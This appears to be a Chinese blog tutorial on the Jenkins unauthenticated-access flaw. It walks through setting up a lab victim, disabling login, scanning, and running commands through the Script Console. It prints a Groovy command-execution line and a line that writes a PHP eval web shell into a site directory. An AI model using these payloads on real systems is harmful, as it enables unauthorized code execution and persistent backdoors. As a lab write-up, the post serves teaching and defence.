Jenkins未授权访问漏洞

一、漏洞介绍

1.1 Jenkins介绍

  Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

  1. 用于持续性、自动的构建/测试软件
  2. 项目监控或跑一些定时任务
  3. 监控外部调用执行的工作

1.2 漏洞原因

  Jenkins系统后台中可以执行系统脚本命令,(本作用是故障排除和诊断使用)

1.3 利用条件

  1. 使用低版本的Jenkins,默认没有登录控制
  2. 有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
  3. 控制台使用了弱密码

二、环境配置

2.1 配置主机

受害者IP:192.168.253.128

系统内核版本:
在这里插入图片描述

2.2 下载安装

下载一: 镜像站下载(优点:下载快;缺点:不支持所有版本)

下载二: 官方下载(优点:版本全;缺点:下载慢)
官方下载系统内核对应的安装包(这里是rpm包安装方式)

》》安装
在这里插入图片描述
》》启动服务
在这里插入图片描述
》》防火墙配置(略,关闭防火墙/开通8080端口皆可)
》》浏览器访问8080端口进行 安装配置
在这里插入图片描述
》》解锁
在这里插入图片描述
》》安装插件
》》创建管理员账户
在这里插入图片描述
》》成功登陆,退出后发现之前admin的密码没有
在这里插入图片描述

忘记jenkins账户密码怎么办?(如使用rpm包安装使用此种方法!)
》》编辑jenkins全局配置文件(/var/lib/jenkins/config.xml)
在这里插入图片描述
》》取消掉使用密码
在这里插入图片描述
》》重置jenkins服务
systemctl restart jenkins / /etc/init.d/jenkins restart
》》然后再次访问web站点
在这里插入图片描述
》》启用安全性,选择jenkisn自己的数据库,点击保存
在这里插入图片描述
》》点击设置,配置管理员密码
在这里插入图片描述

三、漏洞利用

3.1 信息收集

Nmap扫描对方web服务:(不限于8080默认端口)
在这里插入图片描述
访问8080端口,如果没有登录限制如下这种情况:

Tips:以下这种情况有两种方式

  1. 低版本的jenkisns默认安装启动服务
  2. 配置中将登录密码验证关掉了(false)

在这里插入图片描述

3.2 漏洞利用

》》点击系统管理
在这里插入图片描述
》》点击脚本控制台
在这里插入图片描述
》》执行并打印系统命令

println "hostname".execute().text

在这里插入图片描述
如果知道web站点目录可写入一句话shell:(这里使用php站点举例)

new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');

四、防御建议

  1. 配置Jenkins登录验证(只要不能进入控制台即可)
©️2020 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页